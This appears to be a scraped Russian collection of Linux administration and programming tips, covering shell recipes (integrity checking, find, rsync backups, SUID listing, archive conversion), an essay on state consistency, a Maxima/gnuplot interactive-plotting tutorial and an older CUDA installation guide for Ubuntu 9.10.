    См. подробнее http://alexey.sveshnikov.ru/blog/2006/12/23/http-сервер-размером-в-222-байта/
    
     
    ----* Контроль целостности системы штатными средствами   Автор: Avatar  [комментарии]
     
    Что делать если под рукой нет tripwire или osec, а кривой aide вы пользоваться не хотите. 
    Часть функций , таких как проверка прав доступа и изменение файлов, можно
    реализовать штатными стедствами.
    
    Вот маленький скрипт который помещается в crontab и позволяет это реализовать. 
    При желании его функции можно легко расширить.
    
    
    #!/bin/bash
    
    ulimit -t 20
    checkdir="/bin /sbin"
    filedb="/var/tmp/permsecdb"
    email="test@test.ru"
    
    out=$(
    exec 2>&1
    umask 266
    find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
    diff $filedb $filedb.tmp
    mv -f $filedb.tmp $filedb
    )
    if [ "$out" ];then 
        (date; echo; echo "$out") |mail -s "Change permsec `hostname`" $email
    fi
    
    - ulimit лучше выставить не случай не предвиденных ситуаций.
    - checkdir соответственно проверяемые директории
    - filedb текстовой файл базы
    - email куда посылать мыло
    
    Если изменений в системе не было, то сообщения посылаться не будут.
    Сообщение бывает 4 видов 
    
    1 - ошибки
    2 - добавлен файл "> 644	d41d8cd98f00b204e9800998ecf8427e  /bin/12"
    3 - удален файл "< 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    4 - изменен файл "
    < 755	ce367ef1e2cca19e6216874cb8c09d96  /bin/12
    ---
    > 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    
    Успешного контроля.
    
     
    ----* Как найти все файлы определенного размера   [обсудить]
     
    Найти все файлы размером более 10 Мб.
       find / -size +10240k
    
    Более 500 Кб, но менее 600 Кб
       find . -size +500k -a -size -600k
    
    Файлы менее 128 байт, модифицированные последние 10 мин.
       find . -type f -a -size -128c -a -mmin -10
    
     
    ----* Как переименовать имена файлов из одной кодировки в другую (доп. ссылка 1)   [комментарии]
     
    Если не переименовывать каталоги:
    
    Вариант 1:
       find | sort -r | while read f; do
         fn=$(basename "$f"|iconv -f koi8-r -t windows-1251);
         [ "$fn" = "$(basename "$f")" ] || mv "$f" "$(dirname "$f")/$fn";
       done 
    
    Вариант 2:
    
       #!/bin/sh
       # аргумент 1 - путь
       # аргумент 2 - из какой кодировки
       # аргумент 3 - в какую кодировку 
       find $1 -regex "$1/.*" | sort -r | while read f; do
          fb=$(basename "$f");
          fd=$(dirname "$f");
          nfb=$(echo "$fb"|iconv -f $2 -t $3);
          [ "$fb" = "$nfb" ] || (mv "$fd/$fb" "$fd/$nfb"; echo "$fd $fb -> $nfb";)
       done
    
    Вариант 3:
    
       Использовать готовую программу для переименования с изменением кодировки http://j3e.de/linux/convmv/
    
     
    ----* Скрипт для удаленного редактирования файлов   Автор: spanka  [комментарии]
     
    #!/bin/sh
    tmp_file=`mktemp /tmp/scp_vi.XXXXXXXXXX`
    cp /dev/null $tmp_file
    scp $1 $tmp_file
    vi $tmp_file
    scp $tmp_file $1
    rm -f $tmp_file
    
    запускать так: rvi login@host:/patch/to/file 
    В vim можно писать "vim scp://user@host.ru:/home/user/file"
    
     
    ----* Полный бэкап на дополнительный диск при помощи rsync (доп. ссылка 1)   [комментарии]
     
    Резервный диск монтируем как /backup в read-only режиме.
    По крону еженощно запускаем скрипт следующего содержания:
       /sbin/mount -u -w /backup # пепреводим раздел в rw режим, mount "-o remount,rw /backup" для Linux
       /usr/bin/rsync -a --delete --delete-excluded --max-delete=200 \
          --exclude-from=/etc/ex_files_list.txt / /backup
       RETCODE=$?
       if [ $RETCODE -ne 0 ]; then
          echo "Err code=$RETCODE"| mail -s "RSYNC BACKUP ERROR" alert@test.ru
       fi
       /sbin/mount -u -r /backup # раздел обратно в ro, mount "-o remount,ro /backup" для Linux
    
    Если backup-диск большой, лучше вести две полные копии, на случай краха во
    время бэкапа (или см. опцию --backup);
    
    При бэкапе на другой сервер:
       rsync [...опции как выше] --compress --bwlimit=100 --timeout=120 \
          -e ssh source/ login@backuphost:/backup/node1
    
    Список файлов для исключения из бэкапа (ex_files_list.txt):
       /backup
       /mnt
       /proc
       /tmp
       /var/log
       /usr/obj
       /usr/src
       /usr/tmp
       /usr/ports
       /usr/local/apache/logs
    
     
    ----* Почему на разных машинах скрипт генерирует файлы с разными правами доступа   [обсудить]
     
    > На одной машине создается файл с правами -rw-rw-r--, а на другой -rw-r--r--.
    
    man 2 umask
    В первом случае используется umask 002, а во втором umask 022.
    
     
    ----* Есть ли простой способ в уме высчитать права доступа ? 764 как высчитывается ?   [комментарии]
     
    764 является комбинацией из цифр UserGroupOther.
    В 90% случаев нужно всего три цифры запомнить 7 - rwx, 6 - rw,   4 - r, (1 - x, 5 - rx и т.д. ). 
    Можно писать сразу: chmod u=rw file; chmod g=rx,o=rx file, chmod o-w file и т.д.
    
     
    ----* Как отсортировать строки файла по числовому значению во втором столбце с разделителем ":"   [обсудить]
     
    sort -t':' -n -k3 filename
    
     
    ----* Как вывести сколько раз встречаются 15 самых частовстречающихся IP в логе   [обсудить]
     
    Предположим, IP во втором столбце лога.
    cat log_file | awk '{print $2}'| sort| uniq -c| sort -r -n| head -n 15
    
     
    ----* Как определить сумму столбца цифр в файле.   [обсудить]
     
    Суммируем 3-й столбец из лог файла.
    cat logfile| awk '{s += $3} END {print s}'
    
     
    ----* Как разбить файл на части.   [комментарии]
     
    split -b 5m file  - разбить на файлы по 5 Мб, (5k - по 5 Кб, 5 - по 5 байт).
    split -l 1000 file  - разбить файл на файлы по 1000 строк.
    
     
    ----* Как автоматически удалять все файлы в каталоге, созданные позднее N дней   [комментарии]
     
    удаляем старше 1 часа:
            find /var/tmp_log/ -type f -mmin +60 -exec rm -f {} \;
    удаляем старше 10 дней:
            find /var/tmp_log/ -type f -mtime +10 -exec rm -f {} \;
    
     
    ----* Как удалить символ возврата каретки ^M из файла   [обсудить]
     
    col -bx < dosfile > newfile
    
     
    ----* Как посмотреть список расшаренных ресурсов на Windows машине   [обсудить]
     
    IP машины - 1.2.3.4
    smbclient -I 1.2.3.4 -L NAME_SERVER
    или: nmblookup -r -A 1.2.3.4
    или: smbclient -N -L hostname -I 1.2.3.4
    или скрипт: smbfind или findsmb
    
     
    ----* Как найти все SUID программы на машине   [обсудить]
     
    Все SUID и SGID программы:
    find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
    Только SUID ROOT:
    find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;
    
     
    ----* Как скопировать группу файлов на удаленную машину.   [комментарии]
     
    С локальной на удаленную:
    tar czvf - список_файлов_и_директорий | ssh remote.test.ru tar xzf - -C /home/user/куда_копировать 
    Скопировать группу файлов с удаленной машины на локальную.
    ssh remote.test.ru tar czf - -C стартовая_директория какие_файлы_копировать
    |tar xzf - -C директория_куда_копировать.
    
     
    ----* Скрипт для конвертации архива gz в lzma   Автор: john_erohin  [комментарии]
     
    Скрипт для преобразования архива .gz в .lzma с сохранением времени
    изменения/создания файла и прав доступа, а также с минимальным влиянием на производительность.
    Для переименования группы файлов можно использовать конструкцию вида:
    
       find . -name "*.gz" -print0 | xargs -0 -n 1 echo ~/bin/gz2lzma.sh | batch
    
    gz2lzma.sh:
    
    #!/bin/sh
    #
    # CopyLeft (L) john_erohin, 2022
    #
    # gz2lzma.sh: convert .gz to .lzma with same mtime, ctime and access rights
    # 
    # in: $1 = file name with or without ".gz" suffix
    # out: file "$1.lzma" and removed "$1.gz" if conversion is ok
    #
    # warining: if $1.lzma exist, it will be silently overwritten
    #
    # use someth like
    # find . -name "*.gz" -print0 | xargs -0 -n 1 echo ~/bin/gz2lzma.sh | batch
    # for mass background conversion
    # 
    F=$1
    F=`echo $F | sed -e s:\.gz\$::g`
    
    if [ -f $F.gz ] ; then
     /usr/bin/eatmydata -- \
      /usr/bin/nice -19 \
       /usr/bin/chrt --idle 0 \
        /usr/bin/ionice -c 3 \
          gzip -t $F.gz > /dev/null 2>&1
      RC=$?
      if [ $RC -ge 1 ]; then
        echo error $RC in $F.gz : integrity test failed
        exit $RC
      fi
      CTIME=`stat -c %w $F.gz`
      MTIME=`stat -c %y $F.gz`
      CHMOD=`stat -c %a $F.gz`
      TF=`mktemp`
      T=`basename $TF`
      rm $TF
      L=$F.$T.lzma
      touch $L
      chmod $CHMOD $L
      gzip -cdk $F.gz | \
        /usr/bin/eatmydata -- \
         /usr/bin/nice -19 \
          /usr/bin/chrt --idle 0 \
           /usr/bin/ionice -c 3 \
             /usr/bin/lzma -z9c > $L
      RC=$?
      if [ $RC -eq 0 ]; then 
        touch --date="$CTIME" $L
        touch -m --date="$MTIME" $L
        mv $L $F.lzma
        rm $F.gz 
      else
        echo lzma run-time error $RC processing $L
        exit $RC
      fi
    else
      echo error: no input file $F or $F.gz
      exit 1
    fi
    
     
    ----* Контроль прогресса выполнения pipe-операции при помощи PV (доп. ссылка 1) (доп. ссылка 2)   Автор: Mac3k  [комментарии]
     
    Для наглядного просмотра динамики выполнения пересылок через неименованный
    канал удобно использовать утилиту pv (Pipe Viewer,
    http://www.ivarch.com/programs/pv.shtml), которая позволяет примерно оценить
    время выполнения таких операций как "cat file| filter"
    
    Установка в Fedora/RHEL/CentOS:
    
       sudo yum install pv
    
    Установка в Debian/Ubuntu:
    
       sudo aptitude install pv
    
    Простейшее её использование, вычисляем хеш-сумму:
    
       pv kino.avi | md5sum
       158MB 0:00:03 [ 45MB/s]  [=========================================>] 100%
    
    Сжимаем файл:
    
       tar -czf - kino.avi | pv > kino.tgz
       37,7MB 0:00:15 [2,37MB/s] [  <=>        ]
    
    Показывает, только сколько времени осталось не понять. Поправим это.
    
       tar -cf - kino.avi | pv -s $(du -sb kino.avi | awk '{print $1}') | gzip > kino.tgz
       58MB 0:00:15 [10,5MB/s] [============================> ] 57% ETA 0:00:14
    
    Через опию -s передается полный размер копируемых данных, который вычисляется
    через команду "du -sb file | awk '{print $1}'"
    
    
    Сжимаем всю папку с файлами:
    
       tar -cf - .| pv -s $(du -sb . | awk '{print $1}') | gzip > mydir.tgz
    
    Распаковка (pv можно использовать вместо cat):
    
       pv mydir.tgz | tar xzf -
    
     
    ----* Замена одного слова на другое во всех файлах   [обсудить]
     
    perl -i.bak -p -e 's/Vasya/Petya/gi;' *
    
     

       Программисту и web-разработчику

    ----* Гарантия консистентности двух и более состояний   Автор: johnthesmith  [комментарии]
     
    Статья
    
    
  • описывает проблему гарантии полноты и неизбыточности при последовательной установке двух состояний;
  • выдвигает гипотезу о невозможности разрешения проблемы без участия состояний (без идемпотентности состояний);
  • предлагает Общее решение. Задача
  • Поток T должен установить два состояния S1 и S2.
  • S1 и S2 возвращают синхронный ответ при успехе сохранения и не более.
  • Требуется гарантировать полноту и не избыточность установки состояний. Проблема
  • Поток Т выполняет запись в S1.
  • При провале поток Т возвращает отказ.
  • При успехе поток Т должен выполнить запись в S2.
  • Начиная с этого момента возникает проблема неопределенности при ошибке установки S2 или крахе потока Т, состояние S1 уже установлено, а S2 не установлено; однозначно не определен результат исполнения потока T; повторный вызов потока Т не разрешит ситуацию. Гипотеза Не существует решения при котором поток Т гарантирует полноту и неизбыточность установки двух состояний, при том что состояния возвращают исключительно синхронный ответ о результате сохранения. Никакие механизмы со стороны Т не могут разрешить указанную проблему без идемпотентности S1. Варианты решения
  • Состояние S1 должно быть идемпотентным например: защита от дублированного получения данных; возможность оповещения T по его инициативе о результатах сохранения.
  • T должен обладать возможностью повтора установки состояний при отказе. Общее решение гарантии консистентности состояний Ниже перечислены рассматриваемые виды состояний:
  • S - (simple state) простое состояние без поддержки транзакций и идемпотентности, например: внешние сервисы; базы без идемпотентных проверок, с триггерами или автокоммитом; журналирование.
  • I - (idempotent state) - состояние с поддержкой идемпотентности: базы данных; сервисы; файлы.
  • T - (transact state) - состояния, поддерживающие транзакционную целостность: базы данных TSQL. Возможные комбинации Далее приведены возможные комбинации последовательной установки состояний в синхронном потоке, гарантия итоговой консистентности для различных вариантов и последствия сбоя в потоке между установкой состояний. Обязательным условием является повтор вызова потока при отказе на любой стадии. Пример: Поток получает сообщение из очереди, которая гарантирует повторяемость. Вызов потока из UI не гарантирует повторяемость события, так как пользователь получив ошибку, может не выполнить повторное действие. SS
  • Гарантия консистентности: нет
  • Пример: Push сообщения в очередь; Write в журнал
  • Последствия: Накопление дублей сообщений в очереди SI
  • Гарантия консистентности: нет
  • Пример: Commit сообщения очереди; Идемпотентный вызов сервиса
  • Последствия: Отсутствие гарантии вызова сервиса ST
  • Гарантия консистентности: нет
  • Пример: Commit сообщения очереди; Insert в базу
  • Последствия: Накопление дублей сообщений в очереди IS
  • Гарантия консистентности: да
  • Пример: Insert с предпроверкой в базу; Commit сообщения очереди
  • Последствия: Многократные попытки Insert II
  • Гарантия консистентности: да
  • Пример: Insert с предпроверкой в базу; Update с предпроверкой в базу
  • Последствия: Многократные попытки Insert IT
  • Гарантия консистентности: да
  • Пример: Вызов внешнего сервиса; Запись в базу
  • Последствия: Многократный вызов внешнего сервиса TS
  • Гарантия консистентности: нет
  • Пример: Insert в базу; Push в очередь
  • Последствия: Накопление дублей в БД TI
  • Гарантия консистентности: нет
  • Пример: Insert в базу; Запись с предпроверкой в базу
  • Последствия: Накопление дублей в БД TT
  • Гарантия консистентности: да
  • Пример: Insert в базу; Запись в базу в одной транзакции
  • Последствия: Полный откат транзакции Общие правила гарантии сохранения состояний Повторяемость вызова при любом отказе в потоке И идемпотентность предыдущего изменения состояния ИЛИ изменение всех состояний в единой транзакции. Ccылки статья на github
  •  
    ----* Создание интерактивных графических моделей в CAS MAXIMA при использовании ОС GNU Linux   Автор: NuINu  [комментарии]
     
    Предисловие.
    
    Не так давно я посмотрел фильм: Конрад Вольфрам. "Как учить детей
    настоящей математике с помощью компьютеров", в котором автор использовал некие
    программы для улучшения процесса обучения детей, представляющие собой математические
    модели, управляемые с помощью интерфейсных графических элементов, таких как кнопки,
    шкалы, меню. Я слышал, что подобные интерфейсные элементы встречаются в других
    математических пакетах и, естественно, знал, что в максиме ничего подобного нет, не считая,
    конечно, wxMaxima, которая является небольшой графической надстройкой над максимой, но
    и она не позволяет встраивать подобные элементы в расчетный документ, тем самым не
    позволяя создать математическую модель, управление расчетом в которой можно было бы
    производить с помощью графических интерфейсных элементов. Поэтому вопрос о создании
    интерактивных интерфейсов в максиме долгое время оставался для меня открытым и, не видя
    очевидных путей его решения, я решил поизучать, как работает графическая система
    отображения в Максиме.
    
    
    Предпосылки.
    
    В максиме имеются два основных способа отображения графической информации - это
    функции plot и draw, простейший график рисуется вызовом функции plot2d(x^2,[x,-9,9]);. Оба
    этих класса функций используют другой математический пакет - gnuplot, как раз и
    специализирующийся на построении и выводе графиков. Поэтому я занялся изучением
    возможностей данного пакета и, в процессе изучения документации, наткнулся на один очень
    интересный параметр, который сыграл ключевую роль в успешной реализации задуманного.
    При установке типа терминала в gnuplot, для типа терминала X11, допускается параметр
    window, описан он плохо, и для чего необходим можно было лишь догадываться,
    поэтому я провел эксперимент по изучению возможности использования этого параметра:
    было бы очень приятно если бы gnuplot мог выводить графики в любое окно, которое мы ему
    укажем. Для эксперимента я написал простейшую программу на питоне, в
    которой создавал фрейм заданного размера и пару кнопок. Идентификатор этого окна, а
    вернее - фрейма, очень легко узнать командой:
    
       xwininfo -tree
    
       Root window id: 0xbd (the root window) (has no name)
       Parent window id: 0x12559b9 (has no name)
       1 child:
       0x3c0000e (has no name): () 640x509+0+0 +2+80
       3 children:
       0x3c00012 (has no name): () 67x29+109+480 +111+560
       0x3c00011 (has no name): () 109x29+0+480 +2+560
       0x3c00010 (has no name): () 640x480+0+0 +2+80
    
    Теперь запустим gnuplot и дадим там несколько команд:
    
       gnuplot> set terminal x11 window "3c00010"
       Terminal type set to 'x11'
       Options are 'XID 0x3C00010 nopersist'
       gnuplot> plot(sin(x));
    
    вуаля!!! гнуплот рисует график функции в указанном окне, при этом все кнопки
    приложения работают . Вот так и выяснилось, что этот параметр является ключевым в
    возможности интеграции gnuplot в различные графические приложения в системе Xwindow.
    
    
    Реализация.
    
    Идея построения интерактивной графической параметрической модели родилась
    после этого эксперимента довольно быстро, суть ее состояла в том, что мы добавим в
    максиму функцию, позволяющую строить интерактивные графики, организованные по
    принципу Модель-Вид-Контроллер, в которой maxima будет отвечать за модель, gnuplot
    отвечать за вид, а управлять всем этим и реализовывать контроллер будет программа на
    питоне(замечу, выбор питона - это чисто мое предпочтение, контроллер можно организовать
    на любом, приятном для вас языке). Здесь я приведу окончательный и полный текст
    программы на максиме и опишу что делает каждая ее строчка, но для начала опишу, что
    нужно от пользователя, чтобы получить интерактивную графическую модель: во первых
    ее надо определить на языке максима, а так же указать параметры, их начальные значения и
    диапазон значений(не обязательно, но я не проверял, что будет, если это не
    сделать :-) ), а также указать, где в файловой системе находится вид-контроллер
    для данной модели.
    
    
    Создаем модель в максиме:
    к примеру это будет график функции n*sin(x) и график функции sin(b*x).
    Допустим, в нашей модели n*sin(x), n должен меняться от 0.1 до 10.0 с шагом 0.2, поскольку я
    намереваюсь управлять этим значением при помощи шкалы значений целых чисел, то в
    формулу надо внести изменения (a/10.)*sin(x), а диапазон значений, передаваемый в контроллер, будет
    от 1 до 100, с начальным значением 1 и шагом изменения 2(для демонстрации).
    Параметр b: начальное значение 1, диапазон от 1 до 12, и зададим параметр, меняющий
    диапазон расчета графиков от 2 до 5, с начальным значением 2
    
       g1:explicit((a/10.)*sin(x),x,-c*%pi,c*%pi);
       g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
       model:'draw2d(color=red,g1, color=blue,g2);
       param_set:[[a,1,"1:100:2"],[b,1,"1:12"],[c,2,"2:5"]];
       name_model:sconcat(maxima_tempdir,"/work/maxima/gnuplot/mvc_3scale.py"); 
    
    model - это наша параметризованная модель, param_set - это набор параметров с заданием
    начальных значений и диапазона возможных значений, name_model - это имя контроллера,
    который будет вызываться для отображения нашей модели вместо стандартной программы
    отображения графиков gnuplot. Всё, модель задана, осталось только запустить ее в обработку.
    Для обработки я выбрал имя функции idraw, в смысле интерактивное рисование.
    
       idraw(model,param_set,name_model);
    
    
    Итак, функция idraw:
    /* i -означает интерактивный */
    
       idraw(model,param_set,name_model) := block(
          [old_plot_format,t1,pipe_view_name,pipe_view,plt_fmt,cmd,ll],
          pipe_view_inter_n:sconcat(maxima_tempdir, "/maxima.pipe_interact"),
          pipe_view_param_n:sconcat(maxima_tempdir, "/maxima.pipe_param"),
    
    /*подготовим канал для взаимодействия с процессом интерактивного представления
    модели вид-контроллер и канал для передачи параметров от модели в контроллер*/
    
       if not probe_file(pipe_view_inter_n) then system(sconcat("mkfifo ", pipe_view_inter_n)),
       if not probe_file(pipe_view_param_n) then system(sconcat("mkfifo ", pipe_view_param_n)),
    
    /*запомним предыдущий способ отрисовки графиков и установим свой*/
    
       old_plot:gnuplot_command,
       gnuplot_command:name_model,
       guplot_close(), 
    /*надо обязательно закрыть предыдущую сессию gnuplot, иначе максима не
    вызовет новую модель*/
    /*выполним отрисовку интерактивной модели с установками по умолчанию*/
    
       t1:map(lambda([x],x[1]=x[2]),param_set), 
       ev(model,nouns,t1),
    /*через канал передачи параметров максимы и интерактивного вида-контроллера настроим контроллер*/
    /*с обратной стороны канала уже должен работать процесс, считывающий данные из
    него, костыль с |cat >file приделан т.к. максима почему-то не может открыть на запись файл fifo*/
    
       pipe_view:openw(sconcat("| cat >",pipe_view_param_n)),
    
    /*в цикле передадим имеющиеся параметры*/
    
       map(lambda([x],printf(pipe_view,"~a:~d:~a~%",  x[1],x[2],x[3]),0),param_set),
       printf(pipe_view,"end~%"),
       close(pipe_view),
    
    /*теперь открываем на чтение канал интерактивной передачи параметров*/
    
       kill(pipe_view),
       pipe_view:openr(pipe_view_inter_n),
    
    /*запускаем цикл чтения данных из канала управления моделью*/
    
       cmd:1,
       while cmd=1 do block(
          if stringp(ll : readline(pipe_view)) then block (
             print("read from pipe_view: ", ll), /*для отладки*/
             /*вид приходящей строки (cmd:1,t1:[a = 1,b = 1,c = 2])*/
    
             eval_string(ll), /*устанавливаем переменные t1,cmd*/
    
    /*получая новые значения параметров, пересчитываем модель и перерисовываем view*/
    
             if cmd=1 then
                 ev(model,nouns,t1 )
             )
             else
                 cmd:0
             ),
          close(pipe_view),
          gnuplot_close(),
          gnuplot_command:old_plot
       ); 
    
    view в gnuplot не нуждается в какой либо программе, это полностью управляемый элемент
    через stdin в который может писать команды и maxima и контроллер.
    
    Что же должен представлять собой контроллер? У нас это программа на питоне, которая с
    одной стороны должна принимать команды от максимы и передавать их в gnuplot, с другой
    - она должна передавать установленные в контроллере новые значения параметров
    обратно в максиму. Вкратце опишу, что в ней происходит:
    
    0) Поскольку функция idraw заменила название основной утилиты для отрисовки графиков,
    то вместо gnuplot будет вызвана наша программа, так создается main_controller_process
    
    1) create_Tk_interface() Создаем графический интерфейс, как-то фрейм в который будет
    выводить gnuplot построенные на основе данных из максимы, элементы управления - Scale,
    которые затем будут инициализироваться принятыми из максимы параметрами, и значения
    которых впоследствии будут передаваться обратно в максму, и пара кнопок(пересчитать и
    выход).
    
    2)create_gnuplot_pipe() создаем процесс gnuplot и получаем два канала к нему для ввода и
    вывода данных.
    
    3)change_terminal() поскольку интерфес Тк мы построили, гнуплот запустили, можем дать
    команду в гнуплот об установке типа терминала X11 и конкретного окна для вывода графиков.
    
    4)make_process_reader() Запускаем дочерний питон процесс, который будет читать данные из
    stdin потока и передавать их в процесс gnuplot, таким образом обеспечиваем передачу данных
    из максимы в гнуплот.
    
    5)open_pipe_param(read) открываем канал для чтения значений параметров из максимы
    
    5.1) do_read_param() читаем построчно данные из максимы, разбираем ввод и формируем
    хеш массив param
    
    6) do_set_widget_param() используя ранее полученные значения параметров, сохраненные в
    хеш массиве param
    
    7) open_pipe_interact(write) открываем на запись канал для интерактивной передачи команд в
    максиму, где сейчас должна работать функция idraw, читающая и интерпретирующая эти
    команды.
    
    8)do_main_Tkloop() запускаем цикл обработки сообщений Tk интерфейса
    
    В процессе работы Тк интерфейса могут происходить следующие события:
    
    8.1) set_param() Пользователь установил новое значение параметра, это новое значение
    просто сохраняется в хеш массиве param
    
    8.2) recalc() Пользователь нажал на кнопку "пересчитать", при этом все текущие значения,
    сохраненные в массиве param, оформляются в командную строку, которую способна
    интерпретировать максима и через канал передаются туда, в максиме, эти данные
    интерпретируются моделью, после чего сформированные команды для gnuplot передаются
    через процесс-посредник в gnuplot, таким образом, гнуплот выводит новое графическое
    представление модели, в соответствии с установленными значениями параметров.
    
    8.3) quit() пользователь нажал на кнопку "выйти" или другим образом завершил работу
    контроллера, при этом в максиму передается команда, завершающая цикл чтения канала
    интерактивной передачи значений параметров, сигналом kill завершается работа процесса
    посредника child_reader_process, затем закрывается и сеанс gnuplot.
    
    На этом программа работы контроллера и завершается.
    Для лучшего понимания процесса взаимодействия всех участников данной системы, я
    нарисовал диаграмму взаимодействия процессов рис 1. Данной модели соответствует работа
    программ mvc_2edit_1scale.py и mvc_3scale.py, их я здесь приводить не буду, т.к. с ними вы
    сможете ознакомиться, изучив прилагаемы к этому документу файлы.
    
    Собираем все вместе: определяем модель в каком нибудь файле, например model2.mac
    содержащий:
    
       work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
       /*загружаем функцию интерактивного рисования*/
       load(sconcat(work_dir,"idraw"));
       /*описание модели*/
       g1:implicit(a=x^2+y^2+z^2,x,-c,c,y,-c,c,z,-c,c);
       g2:explicit(sin(b*x)*sin(2*y),x,-2*c,2*c,y,-2*c,2*c);
       model:'draw3d(surface_hide=true,color=red,g1, color=blue,g2);
       param_set:[[a,1,"1:6:1"],[b,1,"1:12"],[c,1,"1:15"]];
       name_model:sconcat(work_dir,"mvc_3scale.py");
    
    
    корректируем файл контроллера или создаем новый, меняя состав виджетов и названия
    параметров, соответствующих нашей модели.
    
    Загружаем максиму, и даем команду:
    
       load(sconcat(maxima_tempdir,"/maxima/gnuplot/model3.mac"));
    
    и теперь выполняем отрисовку модели, и управление моделью через полученный
    интерфейс.
    
       idraw(model,param_set,name_model);
    
    
    Рисунок 1
    
    
    
    В результате мы должны получить нечто подобное рис 2.
    
    
    Рисунок 2.
    
    
    
    
    
    Пример использующий контроллер mvc_2edit_1scale.py допускает изменение параметров с
    помощью полей ввода целых чисел и чисел с плавающей запятой (вернее точкой), но для
    того, чтобы он заработал, пришлось слегка изменить формат передачи параметров и начать
    указывать в них, какого типа значение будет принимать параметр.
    
    Пример создадим файл model2_1.mac
    
       work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
       load(sconcat(work_dir,"idraw"));
       g1:explicit(a*sin(x),x,-c*%pi,c*%pi);
       g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
       call_d:'draw2d(color=red,g1, color=blue,g2);
       model:call_d;
       param_set:[[a,55.0,"f:0.1:100.0"], [b,17,"i:1:100"], [c,2,"1:10"]];
       name_model:sconcat(work_dir,"mvc_2edit_1scale.py");
    
    в определении параметров добавили столбец, определяющий тип параметра int(i) или
    float(f).
    
       load(sconcat(maxima_tempdir,"/work/maxima/gnuplot/model2_1.mac"));
    
    и запустим интерпретацию нашей модели модели
    
       idraw(model,param_set,name_model);
    
    должны получить нечто подобное рис.3
    
    
    Рисунок 3.
    
    
    
    
    Ну и в завершении я представлю программу mvc_any_param.py, которая идеально подойдет
    для людей, не желающих программировать для каждой модели еще и контроллер, она
    способна в минимальном представлении отрисовать любое передаваемое ей количество
    параметров любого типа. Для того, чтобы она работала, необходимо опять изменить формат
    передаваемых параметров, и для каждого параметра указывать, какого типа виджет мы
    желаем использовать для его редактирования. Добавим в начало каждой строки параметров,
    там где мы ранее задавали диапазон, еще одно поле со значениями s - Scale
    или e - Entry.
    
    Изучаем пример, файл model4.mac:
    
       work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
       load(sconcat(work_dir,"idraw"));
       g1:explicit((a/10.)*sin(x),x,-c*%pi,c*%pi);
       g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
       model:'draw2d(color=red,g1, color=blue,g2);
       param_set:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"]];
       param_set1:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"],
          [da,55,"s:10:1000"], [bi,17,"e:f:1:100"], [ca,2,"s:0:20"]];
       param_set2:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"],
          [da,55,"s:10:1000"], [bi,17,"e:f:1:100"], [ca,2,"s:0:20"],
          [w,55,"s:10:1000"], [bu,17,"e:f:1:100"]];
       name_model:sconcat(work_dir,"mvc_any_param.py");
    
    
    
    Загрузив нашу модель командой:
    
       load(sconcat(maxima_tempdir,"/work/maxima/gnuplot/model4.mac"));
    
    запустим интерпретацию нашей модели
    
       idraw(model,param_set2,name_model);
    
    Мы должны получить что то подобное рисунку 4
    Я не стал изменять саму модель, просто продемонстрировал простоту добавления
    параметров.
    
    Рисунок 4.
    
    
    
    Заключение.
    
    Ну вот, собственно говоря, и все. В принципе, в программе можно еще много что
    делать и совершенствовать. Но, как говорится, лучшее враг хорошего, к нему можно
    бесконечно приближаться, а работу надо рано или поздно заканчивать. Удачи вам,
    удосужившимся ознакомиться с моим трудом, надеюсь знакомство с максимой, линуксом и
    питоном обогатят вашу жизнь, сделают шире ваши возможности, как это произошло со мной.
    
    Разработал Гагин Михаил ака NuINu c благодарностью к разработчикам Maxima, Gnuplot,
    Python, Linux и всему сообществу OpenSource.
    Примеры кода к статье и версию статьи в формате PDF можно загрузить здесь.
    
     
    ----* Установка NVIDIA CUDA в Ubuntu 9.10 (доп. ссылка 1)   Автор: h1z  [комментарии]
     
    CUDA - это архитектура параллельных вычислений от NVIDIA, позволяющая
    существенно увеличить вычислительную производительность благодаря использованию
    GPU (графических процессоров).
    Итак, приступим к установке Nvidia CUDA Toolkit & SDK!
    
    Все действия проводятся в Ubuntu 9.10, хотя официально поддерживается только 9.04.
     
    Для начала, следует установить драйверы версии 190(.*). Их можно скачать со
    страницы загрузки cuda и установить в ручную, а можно добавить репозиторий с
    новыми драйверами:
    
       sudo add-apt-repository ppa:nvidia-vdpau/ppa # Добавляем репозиторий vdpau
       sudo apt-get update
       sudo apt-get install nvidia-glx-190 nvidia-190-modaliases nvidia-settings-190
     
    
    Toolkit.
    
    После установки драйверов, приступим к установке Toolkit'a. На странице
    загрузки cuda, выберите и скачайте подходящий пакет CUDA Toolkit.
    
    Загрузка пакета для ubuntu 9.04 amd64
    
       wget http://developer.download.nvidia.com/compute/cuda/2_3/toolkit/cudatoolkit_2.3_linux_64_ubuntu9.04.run 
      
    Установка Toolkit'a
    
       sudo chmod +x ./cudatoolkit_2.3_linux_64_ubuntu9.04.run # Замените на свою версию
       sudo ./cudatoolkit_2.3_linux_64_ubuntu9.04.run 
     
    SDK.
    
    Установка SDK для текущего пользователя
    
       wget http://developer.download.nvidia.com/compute/cuda/2_3/sdk/cudasdk_2.3_linux.run
       chmod +x ./cudasdk_2.3_linux.run
       ./cudasdk_2.3_linux.run 
    
    Компиляция примеров:
    
       export PATH=$PATH:/usr/local/cuda/bin # Указываем путь к компилятору nvcc
       export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib # Для amd64 замените на lib64
       echo 'export PATH=$PATH:/usr/local/cuda/bin' >> ~/.bashrc
       echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib' >> ~/.bashrc # Для amd64 замените на lib64
       sudo nano /etc/ld.so.conf.d/cuda.conf
    > /usr/local/cuda/lib  # Для amd64 замените на lib64
       sudo ldconfig
       sudo apt-get install g++-4.3 freeglut3-dev libxi-dev libxmu-dev 
    
